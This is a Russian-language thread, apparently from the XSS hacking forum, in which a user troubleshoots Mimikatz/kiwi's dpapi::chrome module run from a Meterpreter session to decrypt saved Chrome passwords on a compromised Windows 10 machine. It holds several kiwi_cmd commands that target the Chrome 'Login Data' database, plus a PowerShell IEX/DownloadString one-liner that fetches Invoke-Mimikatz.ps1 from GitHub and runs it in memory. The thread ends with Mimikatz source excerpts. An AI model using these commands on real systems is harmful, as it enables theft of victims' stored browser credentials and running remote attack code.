• XSS.stack #1 – первый литературный журнал от юзеров форума

Проблемма при работе с модулем 'dpapi:chrome' в Mimikatz/kiwi из сессии meterpreter

MovHex

RAM
Пользователь
Регистрация
06.07.2020
Сообщения
137
Реакции
38
Приветствую,

пробую запустить mimikatz/kiwi на win 10 64bit с модулем 'dpapi:chrome' из metterpreter-а используя функцию kiwi_cmd для сбора инфы из базы ".sqlite" Google Chrome.
И столкнулся с проблемой неправильной(как мне кажется) обработки аргумента в котором передаться путь к базе.
Первый пробел в пути к базе автоматически воспринимается mimikatz-ом как конец строки, ниже кину скрины со всеми вариантами которые я пробовал(по факту я пробовал гораздо больше)

Вариант 1:
Код:
kiwi_cmd "dpapi::chrome /in:'%localappdata%\\Google\\Chrome\\User Data\\Default\\Login Data' /unprotect"
1.jpg


Вариант 2:
Код:
kiwi_cmd "dpapi::chrome /in:\"%localappdata%\\Google\\Chrome\\User Data\\Default\\Login Data\" /unprotect"
2.jpg


Вариант 3:
Код:
kiwi_cmd "dpapi::chrome /in:\"%localappdata%\Google\Chrome\User Data\Default\Login Data\" /unprotect"
3.jpg


Вариант 4:
Код:
kiwi_cmd "dpapi::chrome /in:%localappdata%\Google\Chrome\User Data\Default\Login Data /unprotect"
111.jpg



Исходники данного модуля:

111.jpg



Буду благодарен за советы и идеи от людей имеющих опыт в использовании данного инструмента.
 
Последнее редактирование:
И так, мною была протестирована .ps1 версия 2.1.1(новее версии в 'формате' .ps1 я не нашел) которая имеет аналогичную проблему при обработке пробелов на пути к базе, т.е смею предположить что всему виной именно mimikatz.

Код:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command "dpapi::chrome /in:\"%localappdata%\Google\Chrome\User Data\Default\Login Data\""

В С/C++ я не сильно силен, начал я смотреть его сурсы, а именно сурсы данного модуля dpapi::chrome: и ее часть где видно что он вначале переводит строку в ANSI(Windows-1252) с помощью kull_m_string_unicode_to_ansi() а далее уже пробует открывать саму базу.
Код:
if(aInfile = kull_m_string_unicode_to_ansi(infile))
        {
            rc = sqlite3_initialize();
            if(rc == SQLITE_OK)
            {
                rc = sqlite3_open_v2(aInfile, &pDb, SQLITE_OPEN_READONLY, "win32-none");
                if(rc == SQLITE_OK)

Пошел я смотреть эту самую kull_m_string_unicode_to_ansi()
Код:
char * kull_m_string_unicode_to_ansi(const wchar_t * unicode)
{
    int needed;
    char * buffer = NULL;
    if(needed = WideCharToMultiByte(CP_ACP, WC_COMPOSITECHECK, unicode, -1, NULL, 0, NULL, NULL))
        if(buffer = (char *) LocalAlloc(LPTR, needed))
            if(needed != WideCharToMultiByte(CP_ACP, WC_COMPOSITECHECK, unicode, -1, buffer, needed, NULL, NULL))
                buffer = (char *) LocalFree(buffer);
    return buffer;
}

Увидел что он юзает APIшную функции WideCharToMultiByte для так сказать мапинга с аргументом WC_COMPOSITECHECK собственно пошел читать что это за аргумент и нашел:
Note Windows normally represents Unicode strings with precomposed data, making the use of the WC_COMPOSITECHECK flag unnecessary.
Почитал про остальные аргументы и пришла идея попробовать заюзать вот этот: WC_SEPCHARS но как попробовать изменить это в сурсах .ps1 версии?
Глянул их и понял что они содержат бинарщину(могу ошибаться конечно) т.е просто в нотпаде там код не отредактировать.

Ну и как всегда буду рад новым идеям, мне кажется что проблема на самом деле весьма не сложная и ее вполне реально решить.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх